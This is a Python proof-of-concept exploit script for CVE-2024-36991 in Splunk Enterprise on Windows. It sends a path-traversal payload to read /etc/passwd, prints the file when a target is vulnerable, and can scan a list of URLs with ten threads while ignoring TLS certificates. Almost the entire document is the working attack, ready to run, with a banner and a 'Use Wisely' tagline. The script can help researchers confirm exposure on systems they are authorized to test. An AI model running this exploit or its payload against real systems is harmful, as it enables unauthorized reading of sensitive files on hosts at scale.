【CVE-2024-36991】Splank PoC

import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

the_version = "1.0.1"

dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'

def banner():
    print(f"""
{cyan_color}                                                                        
  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _ 
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|
                                                                           
{reset_color}{light_orange_color}-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file. {reset_color}
-> By x.com/MohamedNab1l
{light_orange_color}-> Use Wisely.{reset_color}
""")

LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

def print_message(level, message):
    if level == 'vulnerable':
        print(f"{cyan_color}[VLUN] {message}{reset_color}")
    if level == 'info':
        print(f"{dimmed_gray_color}[INFO] {message}{reset_color}")
    elif level == 'success':
        print(f"{green_color}[VLUN] {message}{reset_color}")
    elif level == 'warning':
        print(f"{honey_yellow_color}[WARNING] {message}{reset_color}")
    elif level == 'error':
        print(f"{red_color}[ERROR] {message}{reset_color}")
    log_message(message)

paths_to_check = payload = "/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd"

def make_request(url):
    try:
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.RequestException as e:
        return None

def test_host(url):
    try:
        fullurl = f"{url}{paths_to_check}"
        body = make_request(fullurl)
        if body is not None and 'admin:' in body:
            print_message('vulnerable', f"Vulnerable: {url}")
            print(body)
        else:
            print_message('warning', f"Not Vulnerable: {url}")
    except requests.RequestException as e:
        print_message('error', f"Timeout: {url}")

# Worker function for threading
def worker(queue):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        test_host(url)
        queue.task_done()

# Main function
def main():
    banner()
    parser = argparse.ArgumentParser(description='Check for CVE-2024-36991 Splunk Enterprise on Windows.')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
    group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')

    args = parser.parse_args()

    create_log_dir()

    if args.url:
        print_message('info', f"Testing single target: {args.url}")
        test_host(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print_message('info', f"Testing multiple targets from file: {args.file}")

        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        threads = []
        for _ in range(10):
            t = threading.Thread(target=worker, args=(url_queue,))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")

if __name__ == '__main__':
    main()